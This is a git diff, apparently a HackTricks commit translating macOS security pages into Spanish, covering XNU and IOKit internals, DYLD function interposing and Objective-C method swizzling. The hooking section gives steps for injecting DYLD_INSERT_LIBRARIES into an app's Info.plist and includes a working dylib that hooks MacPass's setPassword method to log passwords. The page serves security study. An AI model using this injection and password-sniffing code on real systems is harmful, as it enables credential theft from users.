Moreover, **Mach and BSD each maintain different security models**: **Mach's** security model is based on **port rights**, whereas BSD's security model operates based on **process ownership**. Disparities between these two models have occasionally resulted in local privilege-escalation vulnerabilities. Apart from typical system calls, there are also **Mach traps that allow user-space programs to interact with the kernel**. These different elements together form the multifaceted, hybrid architecture of the macOS kernel. Además, **Mach y BSD mantienen cada uno diferentes modelos de seguridad**: el modelo de seguridad de **Mach** se basa en **derechos de puerto**, mientras que el modelo de seguridad de BSD opera en función de **la propiedad del proceso**. Las disparidades entre estos dos modelos han resultado ocasionalmente en vulnerabilidades de escalada de privilegios locales. Aparte de las llamadas al sistema típicas, también hay **trampas de Mach que permiten a los programas en espacio de usuario interactuar con el núcleo**. Estos diferentes elementos juntos forman la arquitectura híbrida y multifacética del núcleo de macOS.
### I/O Kit - Drivers ### I/O Kit - Controladores
The I/O Kit is an open-source, object-oriented **device-driver framework** in the XNU kernel, handles **dynamically loaded device drivers**. It allows modular code to be added to the kernel on-the-fly, supporting diverse hardware. El I/O Kit es un marco de **controladores de dispositivos** de código abierto y orientado a objetos en el núcleo XNU, que maneja **controladores de dispositivos cargados dinámicamente**. Permite que se agregue código modular al núcleo sobre la marcha, soportando hardware diverso.
{{#ref}} {{#ref}}
macos-iokit.md macos-iokit.md
{{#endref}} {{#endref}}
### IPC - Inter Process Communication ### IPC - Comunicación entre Procesos
{{#ref}} {{#ref}}
../macos-proces-abuse/macos-ipc-inter-process-communication/ ../macos-proces-abuse/macos-ipc-inter-process-communication/
{{#endref}} {{#endref}}
## macOS Kernel Extensions ## Extensiones del Núcleo de macOS
macOS is **super restrictive to load Kernel Extensions** (.kext) because of the high privileges that code will run with. Actually, by default is virtually impossible (unless a bypass is found). macOS es **super restrictivo para cargar Extensiones del Núcleo** (.kext) debido a los altos privilegios con los que se ejecutará el código. De hecho, por defecto es prácticamente imposible (a menos que se encuentre un bypass).
In the following page you can also see how to recover the `.kext` that macOS loads inside its **kernelcache**: En la siguiente página también puedes ver cómo recuperar el `.kext` que macOS carga dentro de su **kernelcache**:
{{#ref}} {{#ref}}
macos-kernel-extensions.md macos-kernel-extensions.md
{{#endref}} {{#endref}}
### macOS System Extensions ### Extensiones del Sistema de macOS
Instead of using Kernel Extensions macOS created the System Extensions, which offers in user level APIs to interact with the kernel. This way, developers can avoid to use kernel extensions. En lugar de usar Extensiones del Núcleo, macOS creó las Extensiones del Sistema, que ofrecen APIs a nivel de usuario para interactuar con el núcleo. De esta manera, los desarrolladores pueden evitar usar extensiones del núcleo.
{{#ref}} {{#ref}}
macos-system-extensions.md macos-system-extensions.md
{{#endref}} {{#endref}}
## References ## Referencias
- [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt_other?_encoding=UTF8&me=&qid=) - [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt_other?_encoding=UTF8&me=&qid=)
- [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html) - [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)

View File

@ -2,54 +2,49 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## Function Interposing ## Interposición de Funciones
Create a **dylib** with an **`__interpose`** section (or a section flagged with **`S_INTERPOSING`**) containing tuples of **function pointers** that refer to the **original** and the **replacement** functions. Crea un **dylib** con una sección **`__interpose`** (o una sección marcada con **`S_INTERPOSING`**) que contenga tuplas de **punteros de función** que se refieran a las funciones **original** y **reemplazo**.
Then, **inject** the dylib with **`DYLD_INSERT_LIBRARIES`** (the interposing needs occur before the main app loads). Obviously the [**restrictions** applied to the use of **`DYLD_INSERT_LIBRARIES`** applies here also](../macos-proces-abuse/macos-library-injection/#check-restrictions).&#x20; Luego, **inyecta** el dylib con **`DYLD_INSERT_LIBRARIES`** (la interposición debe ocurrir antes de que se cargue la aplicación principal). Obviamente, las [**restricciones** aplicadas al uso de **`DYLD_INSERT_LIBRARIES`** también se aplican aquí](../macos-proces-abuse/macos-library-injection/#check-restrictions).&#x20;
### Interpose printf ### Interponer printf
{{#tabs}} {{#tabs}}
{{#tab name="interpose.c"}} {{#tab name="interpose.c"}}
```c:interpose.c ```c:interpose.c
// gcc -dynamiclib interpose.c -o interpose.dylib // gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h> #include <stdio.h>
#include <stdarg.h> #include <stdarg.h>
int my_printf(const char *format, ...) { int my_printf(const char *format, ...) {
//va_list args; //va_list args;
//va_start(args, format); //va_start(args, format);
//int ret = vprintf(format, args); //int ret = vprintf(format, args);
//va_end(args); //va_end(args);
int ret = printf("Hello from interpose\n"); int ret = printf("Hello from interpose\n");
return ret; return ret;
} }
__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf __attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf }; __attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };
``` ```
{{#endtab}} {{#endtab}}
{{#tab name="hello.c"}} {{#tab name="hello.c"}}
```c ```c
//gcc hello.c -o hello //gcc hello.c -o hello
#include <stdio.h> #include <stdio.h>
int main() { int main() {
printf("Hello World!\n"); printf("Hello World!\n");
return 0; return 0;
} }
``` ```
{{#endtab}} {{#endtab}}
{{#tab name="interpose2.c"}} {{#tab name="interpose2.c"}}
```c ```c
// Just another way to define an interpose // Just another way to define an interpose
// gcc -dynamiclib interpose2.c -o interpose2.dylib // gcc -dynamiclib interpose2.c -o interpose2.dylib
@ -57,26 +52,24 @@ int main() {
#include <stdio.h> #include <stdio.h>
#define DYLD_INTERPOSE(_replacement, _replacee) \ #define DYLD_INTERPOSE(_replacement, _replacee) \
__attribute__((used)) static struct { \ __attribute__((used)) static struct { \
const void* replacement; \ const void* replacement; \
const void* replacee; \ const void* replacee; \
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \ } _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
(const void*) (unsigned long) &_replacement, \ (const void*) (unsigned long) &_replacement, \
(const void*) (unsigned long) &_replacee \ (const void*) (unsigned long) &_replacee \
}; };
int my_printf(const char *format, ...) int my_printf(const char *format, ...)
{ {
int ret = printf("Hello from interpose\n"); int ret = printf("Hello from interpose\n");
return ret; return ret;
} }
DYLD_INTERPOSE(my_printf,printf); DYLD_INTERPOSE(my_printf,printf);
``` ```
{{#endtab}} {{#endtab}}
{{#endtabs}} {{#endtabs}}
```bash ```bash
DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
Hello from interpose Hello from interpose
@ -84,24 +77,22 @@ Hello from interpose
DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
Hello from interpose Hello from interpose
``` ```
## Método Swizzling
## Method Swizzling En ObjectiveC, así es como se llama a un método: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
In ObjectiveC this is how a method is called like: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`** Se necesita el **objeto**, el **método** y los **params**. Y cuando se llama a un método, se envía un **msg** utilizando la función **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
It's needed the **object**, the **method** and the **params**. And when a method is called a **msg is sent** using the function **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);` El objeto es **`someObject`**, el método es **`@selector(method1p1:p2:)`** y los argumentos son **value1**, **value2**.
The object is **`someObject`**, the method is **`@selector(method1p1:p2:)`** and the arguments are **value1**, **value2**. Siguiendo las estructuras de objetos, es posible acceder a un **array de métodos** donde se **ubican** los **nombres** y **punteros** al código del método.
Following the object structures, it's possible to reach an **array of methods** where the **names** and **pointers** to the method code are **located**.
> [!CAUTION] > [!CAUTION]
> Note that because methods and classes are accessed based on their names, this information is store in the binary, so it's possible to retrieve it with `otool -ov </path/bin>` or [`class-dump </path/bin>`](https://github.com/nygard/class-dump) > Tenga en cuenta que, dado que los métodos y clases se acceden en función de sus nombres, esta información se almacena en el binario, por lo que es posible recuperarla con `otool -ov </path/bin>` o [`class-dump </path/bin>`](https://github.com/nygard/class-dump)
### Accessing the raw methods ### Accediendo a los métodos en bruto
It's possible to access the information of the methods such as name, number of params or address like in the following example:
Es posible acceder a la información de los métodos, como el nombre, el número de params o la dirección, como en el siguiente ejemplo:
```objectivec ```objectivec
// gcc -framework Foundation test.m -o test // gcc -framework Foundation test.m -o test
@ -110,71 +101,69 @@ It's possible to access the information of the methods such as name, number of p
#import <objc/message.h> #import <objc/message.h>
int main() { int main() {
// Get class of the variable // Get class of the variable
NSString* str = @"This is an example"; NSString* str = @"This is an example";
Class strClass = [str class]; Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass)); NSLog(@"str's Class name: %s", class_getName(strClass));
// Get parent class of a class // Get parent class of a class
Class strSuper = class_getSuperclass(strClass); Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper)); NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));
// Get information about a method // Get information about a method
SEL sel = @selector(length); SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel)); NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel); Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m)); NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m)); NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
// Iterate through the class hierarchy // Iterate through the class hierarchy
NSLog(@"Listing methods:"); NSLog(@"Listing methods:");
Class currentClass = strClass; Class currentClass = strClass;
while (currentClass != NULL) { while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0; unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount); Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount); NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
for (unsigned int i = 0; i < inheritedMethodCount; i++) { for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i]; Method method = inheritedMethods[i];
SEL selector = method_getName(method); SEL selector = method_getName(method);
const char* methodName = sel_getName(selector); const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m); unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address); NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
} }
// Free the memory allocated by class_copyMethodList // Free the memory allocated by class_copyMethodList
free(inheritedMethods); free(inheritedMethods);
currentClass = class_getSuperclass(currentClass); currentClass = class_getSuperclass(currentClass);
} }
// Other ways to call uppercaseString method // Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) { if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)]; NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString); NSLog(@"Uppercase string: %@", uppercaseString);
} }
// Using objc_msgSend directly // Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString)); NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2); NSLog(@"Uppercase string: %@", uppercaseString2);
// Calling the address directly // Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3); NSLog(@"Uppercase string: %@", uppercaseString3);
return 0; return 0;
} }
``` ```
### Intercambio de métodos con method_exchangeImplementations
### Method Swizzling with method_exchangeImplementations La función **`method_exchangeImplementations`** permite **cambiar** la **dirección** de la **implementación** de **una función por la otra**.
The function **`method_exchangeImplementations`** allows to **change** the **address** of the **implementation** of **one function for the other**.
> [!CAUTION] > [!CAUTION]
> So when a function is called what is **executed is the other one**. > Así que cuando se llama a una función, lo que se **ejecuta es la otra**.
```objectivec ```objectivec
//gcc -framework Foundation swizzle_str.m -o swizzle_str //gcc -framework Foundation swizzle_str.m -o swizzle_str
@ -192,44 +181,42 @@ The function **`method_exchangeImplementations`** allows to **change** the **add
@implementation NSString (SwizzleString) @implementation NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from { - (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:"); NSLog(@"Custom implementation of substringFromIndex:");
// Call the original method // Call the original method
return [self swizzledSubstringFromIndex:from]; return [self swizzledSubstringFromIndex:from];
} }
@end @end
int main(int argc, const char * argv[]) { int main(int argc, const char * argv[]) {
// Perform method swizzling // Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:)); Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:)); Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod); method_exchangeImplementations(originalMethod, swizzledMethod);
// We changed the address of one method for the other // We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex // Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled // And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
// Example usage // Example usage
NSString *myString = @"Hello, World!"; NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7]; NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString); NSLog(@"Substring: %@", subString);
return 0; return 0;
} }
``` ```
> [!WARNING] > [!WARNING]
> In this case if the **implementation code of the legit** method **verifies** the **method** **name** it could **detect** this swizzling and prevent it from running. > En este caso, si el **código de implementación del método legítimo** **verifica** el **nombre del método**, podría **detectar** este swizzling y evitar que se ejecute.
> >
> The following technique doesn't have this restriction. > La siguiente técnica no tiene esta restricción.
### Method Swizzling with method_setImplementation ### Swizzling de Métodos con method_setImplementation
The previous format is weird because you are changing the implementation of 2 methods one from the other. Using the function **`method_setImplementation`** you can **change** the **implementation** of a **method for the other one**. El formato anterior es extraño porque estás cambiando la implementación de 2 métodos uno por el otro. Usando la función **`method_setImplementation`** puedes **cambiar** la **implementación** de un **método por el otro**.
Just remember to **store the address of the implementation of the original one** if you are going to to call it from the new implementation before overwriting it because later it will be much complicated to locate that address.
Solo recuerda **almacenar la dirección de la implementación del original** si vas a llamarlo desde la nueva implementación antes de sobrescribirlo, porque después será mucho más complicado localizar esa dirección.
```objectivec ```objectivec
#import <Foundation/Foundation.h> #import <Foundation/Foundation.h>
#import <objc/runtime.h> #import <objc/runtime.h>
@ -246,75 +233,69 @@ static IMP original_substringFromIndex = NULL;
@implementation NSString (Swizzlestring) @implementation NSString (Swizzlestring)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from { - (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:"); NSLog(@"Custom implementation of substringFromIndex:");
// Call the original implementation using objc_msgSendSuper // Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from); return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
} }
@end @end
int main(int argc, const char * argv[]) { int main(int argc, const char * argv[]) {
@autoreleasepool { @autoreleasepool {
// Get the class of the target method // Get the class of the target method
Class stringClass = [NSString class]; Class stringClass = [NSString class];
// Get the swizzled and original methods // Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:)); Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));
// Get the function pointer to the swizzled method's implementation // Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:))); IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));
// Swap the implementations // Swap the implementations
// It return the now overwritten implementation of the original method to store it // It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP); original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
// Example usage // Example usage
NSString *myString = @"Hello, World!"; NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7]; NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString); NSLog(@"Substring: %@", subString);
// Set the original implementation back // Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex); method_setImplementation(originalMethod, original_substringFromIndex);
return 0; return 0;
} }
} }
``` ```
## Metodología de Ataque de Hooking
## Hooking Attack Methodology En esta página se discutieron diferentes formas de enganchar funciones. Sin embargo, involucraron **ejecutar código dentro del proceso para atacar**.
In this page different ways to hook functions were discussed. However, they involved **running code inside the process to attack**. Para hacer eso, la técnica más fácil de usar es inyectar un [Dyld a través de variables de entorno o secuestrando](../macos-dyld-hijacking-and-dyld_insert_libraries.md). Sin embargo, supongo que esto también podría hacerse a través de [inyección de proceso Dylib](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port).
In order to do that the easiest technique to use is to inject a [Dyld via environment variables or hijacking](../macos-dyld-hijacking-and-dyld_insert_libraries.md). However, I guess this could also be done via [Dylib process injection](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port). Sin embargo, ambas opciones están **limitadas** a binarios/procesos **no protegidos**. Consulta cada técnica para aprender más sobre las limitaciones.
However, both options are **limited** to **unprotected** binaries/processes. Check each technique to learn more about the limitations. Sin embargo, un ataque de hooking de función es muy específico, un atacante hará esto para **robar información sensible desde dentro de un proceso** (si no, simplemente harías un ataque de inyección de proceso). Y esta información sensible podría estar ubicada en aplicaciones descargadas por el usuario, como MacPass.
However, a function hooking attack is very specific, an attacker will do this to **steal sensitive information from inside a process** (if not you would just do a process injection attack). And this sensitive information might be located in user downloaded Apps such as MacPass.
So the attacker vector would be to either find a vulnerability or strip the signature of the application, inject the **`DYLD_INSERT_LIBRARIES`** env variable through the Info.plist of the application adding something like:
Así que el vector del atacante sería encontrar una vulnerabilidad o eliminar la firma de la aplicación, inyectar la variable de entorno **`DYLD_INSERT_LIBRARIES`** a través del Info.plist de la aplicación añadiendo algo como:
```xml ```xml
<key>LSEnvironment</key> <key>LSEnvironment</key>
<dict> <dict>
<key>DYLD_INSERT_LIBRARIES</key> <key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Application.app/Contents/malicious.dylib</string> <string>/Applications/Application.app/Contents/malicious.dylib</string>
</dict> </dict>
``` ```
y luego **volver a registrar** la aplicación:
and then **re-register** the application:
```bash ```bash
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app /System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
``` ```
Agrega en esa biblioteca el código de hooking para exfiltrar la información: Contraseñas, mensajes...
Add in that library the hooking code to exfiltrate the information: Passwords, messages...
> [!CAUTION] > [!CAUTION]
> Note that in newer versions of macOS if you **strip the signature** of the application binary and it was previously executed, macOS **won't be executing the application** anymore. > Ten en cuenta que en versiones más recientes de macOS, si **eliminaste la firma** del binario de la aplicación y se ejecutó previamente, macOS **ya no ejecutará la aplicación**.
#### Library example
#### Ejemplo de biblioteca
```objectivec ```objectivec
// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib // gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib
@ -331,27 +312,26 @@ static IMP real_setPassword = NULL;
static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL) static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
{ {
// Function that will log the password and call the original setPassword(pass, file_path) method // Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password); NSLog(@"[+] Password is: %@", password);
// After logging the password call the original method so nothing breaks. // After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL); return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL);
} }
// Library constructor to execute // Library constructor to execute
__attribute__((constructor)) __attribute__((constructor))
static void customConstructor(int argc, const char **argv) { static void customConstructor(int argc, const char **argv) {
// Get the real method address to not lose it // Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument"); Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:)); Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));
// Make the original method setPassword call the fake implementation one // Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword; IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP); real_setPassword = method_setImplementation(real_Method, fake_IMP);
} }
``` ```
## Referencias
## References
- [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/) - [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/)

View File

@ -2,18 +2,17 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## Basic Information ## Información Básica
The I/O Kit is an open-source, object-oriented **device-driver framework** in the XNU kernel, handles **dynamically loaded device drivers**. It allows modular code to be added to the kernel on-the-fly, supporting diverse hardware. El I/O Kit es un **framework de controladores de dispositivos** de código abierto y orientado a objetos en el núcleo XNU, que maneja **controladores de dispositivos cargados dinámicamente**. Permite que se agregue código modular al núcleo sobre la marcha, soportando hardware diverso.
IOKit drivers will basically **export functions from the kernel**. These function parameter **types** are **predefined** and are verified. Moreover, similar to XPC, IOKit is just another layer on **top of Mach messages**. Los controladores de IOKit básicamente **exportan funciones del núcleo**. Estos parámetros de función son **predefinidos** y son verificados. Además, similar a XPC, IOKit es solo otra capa sobre **los mensajes de Mach**.
**IOKit XNU kernel code** is opensourced by Apple in [https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit). Moreover, the user space IOKit components are also opensource [https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser). El **código del núcleo IOKit XNU** es de código abierto por Apple en [https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit). Además, los componentes de IOKit en el espacio de usuario también son de código abierto [https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser).
However, **no IOKit drivers** are opensource. Anyway, from time to time a release of a driver might come with symbols that makes it easier to debug it. Check how to [**get the driver extensions from the firmware here**](./#ipsw)**.** Sin embargo, **ningún controlador de IOKit** es de código abierto. De todos modos, de vez en cuando, un lanzamiento de un controlador puede venir con símbolos que facilitan su depuración. Consulta cómo [**obtener las extensiones del controlador del firmware aquí**](./#ipsw)**.**
It's written in **C++**. You can get demangled C++ symbols with:
Está escrito en **C++**. Puedes obtener símbolos C++ demangled con:
```bash ```bash
# Get demangled symbols # Get demangled symbols
nm -C com.apple.driver.AppleJPEGDriver nm -C com.apple.driver.AppleJPEGDriver
@ -23,210 +22,193 @@ c++filt
__ZN16IOUserClient202222dispatchExternalMethodEjP31IOExternalMethodArgumentsOpaquePK28IOExternalMethodDispatch2022mP8OSObjectPv __ZN16IOUserClient202222dispatchExternalMethodEjP31IOExternalMethodArgumentsOpaquePK28IOExternalMethodDispatch2022mP8OSObjectPv
IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*) IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*)
``` ```
> [!CAUTION] > [!CAUTION]
> IOKit **exposed functions** could perform **additional security checks** when a client tries to call a function but note that the apps are usually **limited** by the **sandbox** to which IOKit functions they can interact with. > IOKit **funciones expuestas** podrían realizar **verificaciones de seguridad adicionales** cuando un cliente intenta llamar a una función, pero ten en cuenta que las aplicaciones suelen estar **limitadas** por el **sandbox** con el que pueden interactuar las funciones de IOKit.
## Drivers ## Controladores
In macOS they are located in: En macOS se encuentran en:
- **`/System/Library/Extensions`** - **`/System/Library/Extensions`**
- KEXT files built into the OS X operating system. - Archivos KEXT integrados en el sistema operativo OS X.
- **`/Library/Extensions`** - **`/Library/Extensions`**
- KEXT files installed by 3rd party software - Archivos KEXT instalados por software de terceros
In iOS they are located in: En iOS se encuentran en:
- **`/System/Library/Extensions`** - **`/System/Library/Extensions`**
```bash ```bash
#Use kextstat to print the loaded drivers #Use kextstat to print the loaded drivers
kextstat kextstat
Executing: /usr/bin/kmutil showloaded Executing: /usr/bin/kmutil showloaded
No variant specified, falling back to release No variant specified, falling back to release
Index Refs Address Size Wired Name (Version) UUID <Linked Against> Index Refs Address Size Wired Name (Version) UUID <Linked Against>
1 142 0 0 0 com.apple.kpi.bsd (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> 1 142 0 0 0 com.apple.kpi.bsd (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
2 11 0 0 0 com.apple.kpi.dsep (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> 2 11 0 0 0 com.apple.kpi.dsep (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
3 170 0 0 0 com.apple.kpi.iokit (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> 3 170 0 0 0 com.apple.kpi.iokit (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
4 0 0 0 0 com.apple.kpi.kasan (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> 4 0 0 0 0 com.apple.kpi.kasan (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
5 175 0 0 0 com.apple.kpi.libkern (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> 5 175 0 0 0 com.apple.kpi.libkern (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
6 154 0 0 0 com.apple.kpi.mach (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> 6 154 0 0 0 com.apple.kpi.mach (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
7 88 0 0 0 com.apple.kpi.private (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> 7 88 0 0 0 com.apple.kpi.private (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
8 106 0 0 0 com.apple.kpi.unsupported (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> 8 106 0 0 0 com.apple.kpi.unsupported (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
9 2 0xffffff8003317000 0xe000 0xe000 com.apple.kec.Libm (1) 6C1342CC-1D74-3D0F-BC43-97D5AD38200A <5> 9 2 0xffffff8003317000 0xe000 0xe000 com.apple.kec.Libm (1) 6C1342CC-1D74-3D0F-BC43-97D5AD38200A <5>
10 12 0xffffff8003544000 0x92000 0x92000 com.apple.kec.corecrypto (11.1) F5F1255F-6552-3CF4-A9DB-D60EFDEB4A9A <8 7 6 5 3 1> 10 12 0xffffff8003544000 0x92000 0x92000 com.apple.kec.corecrypto (11.1) F5F1255F-6552-3CF4-A9DB-D60EFDEB4A9A <8 7 6 5 3 1>
``` ```
Hasta el número 9, los controladores listados están **cargados en la dirección 0**. Esto significa que no son controladores reales, sino **parte del núcleo y no se pueden descargar**.
Until the number 9 the listed drivers are **loaded in the address 0**. This means that those aren't real drivers but **part of the kernel and they cannot be unloaded**. Para encontrar extensiones específicas, puedes usar:
In order to find specific extensions you can use:
```bash ```bash
kextfind -bundle-id com.apple.iokit.IOReportFamily #Search by full bundle-id kextfind -bundle-id com.apple.iokit.IOReportFamily #Search by full bundle-id
kextfind -bundle-id -substring IOR #Search by substring in bundle-id kextfind -bundle-id -substring IOR #Search by substring in bundle-id
``` ```
Para cargar y descargar extensiones del kernel, haz lo siguiente:
To load and unload kernel extensions do:
```bash ```bash
kextload com.apple.iokit.IOReportFamily kextload com.apple.iokit.IOReportFamily
kextunload com.apple.iokit.IOReportFamily kextunload com.apple.iokit.IOReportFamily
``` ```
